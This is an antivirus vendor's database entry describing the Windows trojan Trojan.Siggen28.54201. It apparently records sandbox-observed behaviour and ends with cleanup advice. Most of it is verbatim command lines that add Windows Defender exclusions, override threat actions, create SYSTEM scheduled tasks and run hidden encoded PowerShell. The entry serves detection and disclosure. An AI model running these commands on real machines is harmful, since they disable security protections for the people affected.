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Trojan.Siggen28.54201

Added to the Dr.Web virus database: 2024-06-04

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • %WINDIR%\tasks\btzacbgshxzojdfvcg.job
  • <SYSTEM32>\tasks\btzacbgshxzojdfvcg
  • <SYSTEM32>\tasks\gftpqnill
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Defender
adds antivirus exclusion with following registry keys:
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR' = '0'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\hsUwQAlMU' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\nivjmgppGaMJQQVB' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\nivjmgppGaMJQQVB' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\DQsmlqqwNqJuTewVy' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\DQsmlqqwNqJuTewVy' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\QtKEgKYoTGTqC' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\ZEkGlaTFWGUn' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\QtKEgKYoTGTqC' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\dlfHiRefefjU2' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\ZEkGlaTFWGUn' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\dlfHiRefefjU2' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\hsUwQAlMU' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\hsUwQAlMU' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\dlfHiRefefjU2' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\nivjmgppGaMJQQVB' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\hsUwQAlMU' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\dlfHiRefefjU2' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\QtKEgKYoTGTqC' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\ZEkGlaTFWGUn' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\dlfHiRefefjU2' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\hsUwQAlMU' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\nivjmgppGaMJQQVB' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\DQsmlqqwNqJuTewVy' = '0'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\QqEAMUespgTHJnVz' = '0'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\QqEAMUespgTHJnVz' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\QqEAMUespgTHJnVz' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\QqEAMUespgTHJnVz' = '00000000'
  • [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\QqEAMUespgTHJnVz' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\QtKEgKYoTGTqC' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\ZEkGlaTFWGUn' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\QtKEgKYoTGTqC' = '00000000'
  • [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\ZEkGlaTFWGUn' = '00000000'
  • [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
Modifies file system
Creates the following files
  • %TEMP%\7zs8f44.tmp\__data__\config.txt
  • %TEMP%\7zs8f44.tmp\install.exe
  • %TEMP%\7zs96a3.tmp\install.exe
  • %TEMP%\dqsmlqqwnqjutewvy\dhakwqcffocyzxl\rwjkszq.exe
  • %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_d99ef00b-ccd3-4f1d-9980-90ac453b0b47
  • <SYSTEM32>\grouppolicy\machine\registry.pol
  • <SYSTEM32>\grouppolicy\gpt.ini
  • %HOMEPATH%\ntuser.pol
  • %ALLUSERSPROFILE%\ntuser.pol
  • %WINDIR%\temp\qqeamuespgthjnvz\nuiqxzti\uuwpllowkolktzce.wsf
Deletes the following files
  • <SYSTEM32>\tasks\gftpqnill
  • %WINDIR%\temp\qqeamuespgthjnvz\nuiqxzti\uuwpllowkolktzce.wsf
Miscellaneous
Creates and executes the following
  • '%TEMP%\7zs8f44.tmp\install.exe'
  • '%TEMP%\7zs96a3.tmp\install.exe' /dZdideN "385120" /S
  • '%TEMP%\dqsmlqqwnqjutewvy\dhakwqcffocyzxl\rwjkszq.exe' PP /ZNudidBFFk 385120 /S
  • '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\QqEAMUespgTHJnVz\nuiQXzTI\uuwPLloWkOlkTzcE.wsf"
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYST...
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\QqEAMUespgTHJnVz\nuiQXzTI\uuwPLloWkOlkTzcE.wsf"
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
  • '<SYSTEM32>\raserver.exe' /offerraupdate
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYSTE...
  • '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "ZTNkTKukmvvbOMPkn"
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 12:29:18 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\uAwHawZ.exe\" 0c /vBFKdidpn 385120 /S" /V1 /F
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
  • '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
  • '%WINDIR%\syswow64\gpupdate.exe' /force
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
  • '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' start-process -WindowStyle Hidden gpupdate.exe /force
  • '%WINDIR%\syswow64\cmd.exe' powershell start-process -WindowStyle Hidden gpupdate.exe /force
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
  • '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
  • '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
  • '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
  • '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 13:45:00 /RU "SYSTEM" /TR "\"%TEMP%\DQsmlqqwNqJuTewVy\DHAkwqCFFocyzXL\rWjKszQ.exe\" PP /ZNudidBFFk 385120 /S" /V1 /F
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\cmd.exe' schtasks /run /I /tn btZaCbGShXZoJDfvCg
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
  • '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gFTPqnIlL"
  • '<SYSTEM32>\svchost.exe' -k secsvcs
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
  • '<SYSTEM32>\gpupdate.exe' /force
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
  • '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gFTPqnIlL" /SC once /ST 01:29:56 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
  • '<SYSTEM32>\taskeng.exe' {4BDE40B7-02C8-4DEF-924A-EC42971B78D1} S-1-5-21-3150914307-1777937420-491476919-1000:guzruelc\user:Interactive:[1]
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
  • '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYST...
  • '%WINDIR%\syswow64\schtasks.exe' /run /I /tn btZaCbGShXZoJDfvCg
  • '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gFTPqnIlL"
  • '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
  • '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYSTE...' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYST...' (with hidden window)
  • '%WINDIR%\temp\qqeamuespgthjnvz\weedkagsjlpiurx\uawhawz.exe' 0c /vBFKdidpn 385120 /S' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYST...' (with hidden window)
  • '%TEMP%\dqsmlqqwnqjutewvy\dhakwqcffocyzxl\rwjkszq.exe' PP /ZNudidBFFk 385120 /S' (with hidden window)
  • '%WINDIR%\syswow64\gpupdate.exe' /force' (with hidden window)

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

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Download on App Store

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

